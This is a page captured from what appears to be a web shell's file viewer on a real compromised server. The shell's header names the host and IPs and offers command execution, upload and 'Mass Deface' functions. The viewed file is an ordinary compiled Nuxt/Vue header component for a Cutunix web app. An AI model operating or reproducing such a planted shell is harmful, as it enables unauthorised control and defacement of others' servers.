���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
.output.1
/
server
/
chunks
/
build
/
Viewing: header-CtPJjuRU.mjs
import { b as useI18n, y as useSwitchLocalePath, d as useLocalePath, v as useRouter, c as useRoute, o as __nuxt_component_1, p as __nuxt_component_2$1, k as __nuxt_component_4$1, n as navigateTo } from './server.mjs'; import { _ as __nuxt_component_2, a as __nuxt_component_3$1 } from './Card-Dw9IkhD2.mjs'; import { useSSRContext, ref, reactive, unref, withCtx, createVNode, toDisplayString, defineComponent, mergeProps, isRef, withDirectives, withKeys, vModelText } from 'vue'; import { ssrRenderComponent, ssrInterpolate, ssrRenderClass, ssrRenderAttrs, ssrRenderAttr, ssrIncludeBooleanAttr } from 'vue/server-renderer'; import { _ as __nuxt_component_3 } from './Dropdown-DcgfldZR.mjs'; import { u as useMainStore } from './index-CJ-QPhVh.mjs'; const contactUsPhone = "02191302815"; const _sfc_main$1 = /* @__PURE__ */ defineComponent({ __name: "Navigation", __ssrInlineRender: true, setup(__props) { const { t, locale } = useI18n(); const router = useRouter(); const route = useRoute(); const direction = locale.value === "en" ? "ltr" : "rtl"; let isContactUsModalOpen = ref(false); let isTicketStatusActive = ref(false); let contact_us = reactive({ title: "", description: "" }); const isMainPage = () => { return [ "/", "/fa", "/en" ].includes(route.path); }; let captionClass = direction === "ltr" ? "left-2" : "right-2"; const handleBackButton = () => { if (isMainPage()) navigateTo("https://pwa.cutunix.com/home", { external: true }); else router.back(); }; return (_ctx, _push, _parent, _attrs) => { const _component_UButton = __nuxt_component_4$1; const _component_UIcon = __nuxt_component_2$1; const _component_UModal = __nuxt_component_2; const _component_UCard = __nuxt_component_3$1; _push(`<div${ssrRenderAttrs(mergeProps({ class: "flex justify-between h-14 bg-main-700" }, _attrs))}><div class="">`); _push(ssrRenderComponent(_component_UButton, { onClick: handleBackButton, class: "!shadow-none bg-transparent hover:bg-transparent h-full px-2 hover:text-white text-white class flex flex-col", "inactive-class": "text-gray-500 hover:text-main-700 " }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(ssrRenderComponent(_component_UIcon, { name: "i-heroicons-arrow-right", class: "ml-2 text-2xl" }, null, _parent2, _scopeId)); _push2(`<span class="text-lg font-bold text-white text-center block"${_scopeId}>${ssrInterpolate(unref(t)("back"))}</span>`); } else { return [ createVNode(_component_UIcon, { name: "i-heroicons-arrow-right", class: "ml-2 text-2xl" }), createVNode("span", { class: "text-lg font-bold text-white text-center block" }, toDisplayString(unref(t)("back")), 1) ]; } }), _: 1 }, _parent)); _push(`</div><div class="flex items-center justify-center"><h2 class="text-[#fff] select-none w-full h-full flex items-center"> Cutunix </h2></div><div class="support-container flex items-center justify-center">`); _push(ssrRenderComponent(_component_UButton, { onClick: ($event) => isRef(isContactUsModalOpen) ? isContactUsModalOpen.value = true : isContactUsModalOpen = true, class: "!shadow-none flex flex-col bg-transparent hover:bg-transparent h-full px-2 justify-start items-center hover:text-white text-white", "inactive-class": "text-gray-500 hover:text-main-700" }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(`<div${_scopeId}>`); _push2(ssrRenderComponent(_component_UIcon, { name: "i-heroicons-phone", class: "text-base" }, null, _parent2, _scopeId)); _push2(`</div><div class="block text-base text-center bold"${_scopeId}>${ssrInterpolate(unref(t)("support"))}</div>`); } else { return [ createVNode("div", null, [ createVNode(_component_UIcon, { name: "i-heroicons-phone", class: "text-base" }) ]), createVNode("div", { class: "block text-base text-center bold" }, toDisplayString(unref(t)("support")), 1) ]; } }), _: 1 }, _parent)); _push(ssrRenderComponent(_component_UModal, { modelValue: unref(isContactUsModalOpen), "onUpdate:modelValue": ($event) => isRef(isContactUsModalOpen) ? isContactUsModalOpen.value = $event : isContactUsModalOpen = $event, dir: unref(direction) }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(ssrRenderComponent(_component_UCard, { ui: { ring: "", divide: "divide-y divide-gray-100 dark:divide-gray-800" } }, { header: withCtx((_2, _push3, _parent3, _scopeId2) => { if (_push3) { _push3(`<div class="flex items-center justify-between"${_scopeId2}><h3 class="text-base font-semibold leading-6 text-gray-900 dark:text-white"${_scopeId2}>${ssrInterpolate(unref(t)("contact_us"))}</h3>`); _push3(ssrRenderComponent(_component_UButton, { color: "gray", variant: "ghost", icon: "i-heroicons-x-mark-20-solid", class: "-my-1", onClick: ($event) => isRef(isContactUsModalOpen) ? isContactUsModalOpen.value = false : isContactUsModalOpen = false }, null, _parent3, _scopeId2)); _push3(`</div>`); } else { return [ createVNode("div", { class: "flex items-center justify-between" }, [ createVNode("h3", { class: "text-base font-semibold leading-6 text-gray-900 dark:text-white" }, toDisplayString(unref(t)("contact_us")), 1), createVNode(_component_UButton, { color: "gray", variant: "ghost", icon: "i-heroicons-x-mark-20-solid", class: "-my-1", onClick: ($event) => isRef(isContactUsModalOpen) ? isContactUsModalOpen.value = false : isContactUsModalOpen = false }, null, 8, ["onClick"]) ]) ]; } }), default: withCtx((_2, _push3, _parent3, _scopeId2) => { if (_push3) { _push3(`<div class="modal-content-container p-2 px-4"${_scopeId2}><div class="w-full mb-8"${_scopeId2}><div class="mb-8 relative mx-auto w-full"${_scopeId2}><input${ssrRenderAttr("value", unref(contact_us).title)} name="title" class="w-full focus:ring-1 outline-none rounded border border-gray-400 focus:ring-main-700 focus:border-main-700 h-10 pl-3 md:h-14 py-0 text-xs md:text-sm" type="text"${ssrIncludeBooleanAttr(!unref(isTicketStatusActive)) ? " disabled" : ""}${_scopeId2}><span class="${ssrRenderClass([[unref(captionClass)], "block text-gray-400 bg-white absolute -top-2 px-2 text-xs md:text-sm"])}"${_scopeId2}>${ssrInterpolate(unref(t)("title"))}</span></div><div class="mb-8 relative mx-auto w-full"${_scopeId2}><input${ssrRenderAttr("value", unref(contact_us).description)} name="title" class="w-full focus:ring-1 outline-none rounded border border-gray-400 focus:ring-main-700 focus:border-main-700 h-10 pl-3 md:h-14 py-0 text-xs md:text-sm" type="text"${ssrIncludeBooleanAttr(!unref(isTicketStatusActive)) ? " disabled" : ""}${_scopeId2}><span class="${ssrRenderClass([[unref(captionClass)], "block text-gray-400 bg-white absolute -top-2 px-2 text-xs md:text-sm"])}"${_scopeId2}>${ssrInterpolate(unref(t)("description"))}</span></div></div><div class="flex mb-5"${_scopeId2}><div class="text-red-500 text-[12px] text-center"${_scopeId2}>${ssrInterpolate(unref(t)("contact_us_ticket_not_active"))}</div></div><div class="flex"${_scopeId2}><h2${_scopeId2}>${ssrInterpolate(unref(t)("contact_support"))} ${ssrInterpolate(contactUsPhone)}</h2></div></div>`); } else { return [ createVNode("div", { class: "modal-content-container p-2 px-4" }, [ createVNode("div", { class: "w-full mb-8" }, [ createVNode("div", { class: "mb-8 relative mx-auto w-full" }, [ withDirectives(createVNode("input", { onKeypress: withKeys(() => { }, ["enter"]), "onUpdate:modelValue": ($event) => unref(contact_us).title = $event, name: "title", class: "w-full focus:ring-1 outline-none rounded border border-gray-400 focus:ring-main-700 focus:border-main-700 h-10 pl-3 md:h-14 py-0 text-xs md:text-sm", type: "text", disabled: !unref(isTicketStatusActive) }, null, 40, ["onKeypress", "onUpdate:modelValue", "disabled"]), [ [vModelText, unref(contact_us).title] ]), createVNode("span", { class: ["block text-gray-400 bg-white absolute -top-2 px-2 text-xs md:text-sm", [unref(captionClass)]] }, toDisplayString(unref(t)("title")), 3) ]), createVNode("div", { class: "mb-8 relative mx-auto w-full" }, [ withDirectives(createVNode("input", { onKeypress: withKeys(() => { }, ["enter"]), "onUpdate:modelValue": ($event) => unref(contact_us).description = $event, name: "title", class: "w-full focus:ring-1 outline-none rounded border border-gray-400 focus:ring-main-700 focus:border-main-700 h-10 pl-3 md:h-14 py-0 text-xs md:text-sm", type: "text", disabled: !unref(isTicketStatusActive) }, null, 40, ["onKeypress", "onUpdate:modelValue", "disabled"]), [ [vModelText, unref(contact_us).description] ]), createVNode("span", { class: ["block text-gray-400 bg-white absolute -top-2 px-2 text-xs md:text-sm", [unref(captionClass)]] }, toDisplayString(unref(t)("description")), 3) ]) ]), createVNode("div", { class: "flex mb-5" }, [ createVNode("div", { class: "text-red-500 text-[12px] text-center" }, toDisplayString(unref(t)("contact_us_ticket_not_active")), 1) ]), createVNode("div", { class: "flex" }, [ createVNode("h2", null, toDisplayString(unref(t)("contact_support")) + " " + toDisplayString(contactUsPhone), 1) ]) ]) ]; } }), _: 1 }, _parent2, _scopeId)); } else { return [ createVNode(_component_UCard, { ui: { ring: "", divide: "divide-y divide-gray-100 dark:divide-gray-800" } }, { header: withCtx(() => [ createVNode("div", { class: "flex items-center justify-between" }, [ createVNode("h3", { class: "text-base font-semibold leading-6 text-gray-900 dark:text-white" }, toDisplayString(unref(t)("contact_us")), 1), createVNode(_component_UButton, { color: "gray", variant: "ghost", icon: "i-heroicons-x-mark-20-solid", class: "-my-1", onClick: ($event) => isRef(isContactUsModalOpen) ? isContactUsModalOpen.value = false : isContactUsModalOpen = false }, null, 8, ["onClick"]) ]) ]), default: withCtx(() => [ createVNode("div", { class: "modal-content-container p-2 px-4" }, [ createVNode("div", { class: "w-full mb-8" }, [ createVNode("div", { class: "mb-8 relative mx-auto w-full" }, [ withDirectives(createVNode("input", { onKeypress: withKeys(() => { }, ["enter"]), "onUpdate:modelValue": ($event) => unref(contact_us).title = $event, name: "title", class: "w-full focus:ring-1 outline-none rounded border border-gray-400 focus:ring-main-700 focus:border-main-700 h-10 pl-3 md:h-14 py-0 text-xs md:text-sm", type: "text", disabled: !unref(isTicketStatusActive) }, null, 40, ["onKeypress", "onUpdate:modelValue", "disabled"]), [ [vModelText, unref(contact_us).title] ]), createVNode("span", { class: ["block text-gray-400 bg-white absolute -top-2 px-2 text-xs md:text-sm", [unref(captionClass)]] }, toDisplayString(unref(t)("title")), 3) ]), createVNode("div", { class: "mb-8 relative mx-auto w-full" }, [ withDirectives(createVNode("input", { onKeypress: withKeys(() => { }, ["enter"]), "onUpdate:modelValue": ($event) => unref(contact_us).description = $event, name: "title", class: "w-full focus:ring-1 outline-none rounded border border-gray-400 focus:ring-main-700 focus:border-main-700 h-10 pl-3 md:h-14 py-0 text-xs md:text-sm", type: "text", disabled: !unref(isTicketStatusActive) }, null, 40, ["onKeypress", "onUpdate:modelValue", "disabled"]), [ [vModelText, unref(contact_us).description] ]), createVNode("span", { class: ["block text-gray-400 bg-white absolute -top-2 px-2 text-xs md:text-sm", [unref(captionClass)]] }, toDisplayString(unref(t)("description")), 3) ]) ]), createVNode("div", { class: "flex mb-5" }, [ createVNode("div", { class: "text-red-500 text-[12px] text-center" }, toDisplayString(unref(t)("contact_us_ticket_not_active")), 1) ]), createVNode("div", { class: "flex" }, [ createVNode("h2", null, toDisplayString(unref(t)("contact_support")) + " " + toDisplayString(contactUsPhone), 1) ]) ]) ]), _: 1 }) ]; } }), _: 1 }, _parent)); _push(`</div></div>`); }; } }); const _sfc_setup$1 = _sfc_main$1.setup; _sfc_main$1.setup = (props, ctx) => { const ssrContext = useSSRContext(); (ssrContext.modules || (ssrContext.modules = /* @__PURE__ */ new Set())).add("components/shared/Navigation.vue"); return _sfc_setup$1 ? _sfc_setup$1(props, ctx) : void 0; }; const _sfc_main = { __name: "header", __ssrInlineRender: true, props: { title: { type: String, required: false } }, setup(__props) { const { t, locale } = useI18n(); locale.value === "en" ? "ltr" : "rtl"; const switchLocalePath = useSwitchLocalePath(); const localePath = useLocalePath(); const router = useRouter(); const route = useRoute(); const showInStaticNavigationBar = () => { return [ "/", "/login", "/fa", "/en" ].includes(route.path); }; useMainStore(); ref(false); ref(false); reactive({ title: "", description: "" }); const items = [ [{ label: "\u0641\u0627\u0631\u0633\u06CC", click: () => { router.push({ path: switchLocalePath("fa") }); } }, { label: "English", click: () => { router.push({ path: switchLocalePath("en") }); } }] ]; const props = __props; const { title } = props; return (_ctx, _push, _parent, _attrs) => { const _component_SharedNavigation = _sfc_main$1; const _component_ULink = __nuxt_component_1; const _component_UIcon = __nuxt_component_2$1; const _component_UDropdown = __nuxt_component_3; const _component_UButton = __nuxt_component_4$1; _push(`<!--[-->`); _push(ssrRenderComponent(_component_SharedNavigation, null, null, _parent)); _push(`<header class="shadow-sm sm:border-r sm:border-l bg-white"><nav class="flex px-2 w-full py-2 items-center justify-between"><div class="flex items-center justify-start w-[30%]">`); if (unref(title) != "\u0622\u0646\u0627\u0644\u06CC\u0632 \u06A9\u0627\u0628\u06CC\u0646\u062A" && unref(title) != "Cabinet Analyze") { _push(ssrRenderComponent(_component_ULink, { to: unref(localePath)("/"), class: "flex flex-col items-center text-gray-700", "inactive-class": "text-gray-500 !bg-white hover:text-main-700 " }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(ssrRenderComponent(_component_UIcon, { name: "i-heroicons-home", class: "text-red-600 text-2xl text-right" }, null, _parent2, _scopeId)); _push2(`<span class="text-xs text-red-600 mt-1 text-right block"${_scopeId}>${ssrInterpolate(unref(t)("home"))}</span>`); } else { return [ createVNode(_component_UIcon, { name: "i-heroicons-home", class: "text-red-600 text-2xl text-right" }), createVNode("span", { class: "text-xs text-red-600 mt-1 text-right block" }, toDisplayString(unref(t)("home")), 1) ]; } }), _: 1 }, _parent)); } else { _push(`<!---->`); } _push(`</div><div class="w-[40%]"><h1 class="block text-base text-main-700 text-center bold">${ssrInterpolate(unref(t)(unref(title)))}</h1></div><div class="w-[30%] flex justify-end items-center"><div id="header" class="bg-transparent pl-5">`); if (showInStaticNavigationBar()) { _push(`<div class="${ssrRenderClass([unref(locale) == "en" ? "order-1 justify-end" : "justify-start", "w-full lg:w-10/12 mona flex lg:justify-between items-center text-3xl text-white"])}"><div class="${ssrRenderClass([unref(locale) == "en" ? "order-1 ltr" : "", "border border-red-600 border-dashed rounded px-2 flex justify-center items-start"])}">`); _push(ssrRenderComponent(_component_UDropdown, { items, popper: { placement: "bottom-start" }, ui: { width: " mx-auto overflow-hidden rounded w-auto border border-main-700", padding: "p-0 ", background: " ", item: { label: "vazir", base: "vazir !justify-center px-4 text-sm " } } }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(ssrRenderComponent(_component_UButton, { class: "!p-1 flex-col !bg-transparent text-black !shadow-none !ring-0" }, { default: withCtx((_2, _push3, _parent3, _scopeId2) => { if (_push3) { _push3(`<label class="text-xs"${_scopeId2}>${ssrInterpolate(unref(locale) == "fa" ? "\u0632\u0628\u0627\u0646" : "lang")}</label>`); _push3(ssrRenderComponent(_component_UIcon, { name: "i-heroicons-chevron-down-20-solid", class: "text-lg" }, null, _parent3, _scopeId2)); } else { return [ createVNode("label", { class: "text-xs" }, toDisplayString(unref(locale) == "fa" ? "\u0632\u0628\u0627\u0646" : "lang"), 1), createVNode(_component_UIcon, { name: "i-heroicons-chevron-down-20-solid", class: "text-lg" }) ]; } }), _: 1 }, _parent2, _scopeId)); } else { return [ createVNode(_component_UButton, { class: "!p-1 flex-col !bg-transparent text-black !shadow-none !ring-0" }, { default: withCtx(() => [ createVNode("label", { class: "text-xs" }, toDisplayString(unref(locale) == "fa" ? "\u0632\u0628\u0627\u0646" : "lang"), 1), createVNode(_component_UIcon, { name: "i-heroicons-chevron-down-20-solid", class: "text-lg" }) ]), _: 1 }) ]; } }), _: 1 }, _parent)); _push(`</div></div>`); } else { _push(`<!---->`); } _push(`</div>`); if (unref(route).path == "/") { _push(ssrRenderComponent(_component_ULink, { to: "https://app.cutunix.com/", class: "!shadow-none flex flex-col justify-center items-center text-gray-700", "inactive-class": "text-gray-500 !bg-white hover:text-main-700 " }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(ssrRenderComponent(_component_UIcon, { name: "i-heroicons-arrow-right-start-on-rectangle", class: "text-2xl" }, null, _parent2, _scopeId)); _push2(`<span class="text-xs text-gray-700 mt-1 text-center block"${_scopeId}>${ssrInterpolate(unref(t)("sign_out"))}</span>`); } else { return [ createVNode(_component_UIcon, { name: "i-heroicons-arrow-right-start-on-rectangle", class: "text-2xl" }), createVNode("span", { class: "text-xs text-gray-700 mt-1 text-center block" }, toDisplayString(unref(t)("sign_out")), 1) ]; } }), _: 1 }, _parent)); } else { _push(`<!---->`); } _push(`</div></nav></header><!--]-->`); }; } }; const _sfc_setup = _sfc_main.setup; _sfc_main.setup = (props, ctx) => { const ssrContext = useSSRContext(); (ssrContext.modules || (ssrContext.modules = /* @__PURE__ */ new Set())).add("components/navigation/header.vue"); return _sfc_setup ? _sfc_setup(props, ctx) : void 0; }; export { _sfc_main as _ }; //# sourceMappingURL=header-CtPJjuRU.mjs.map
Coded With 💗 by
0x6ick Mod By V1rus_Alfa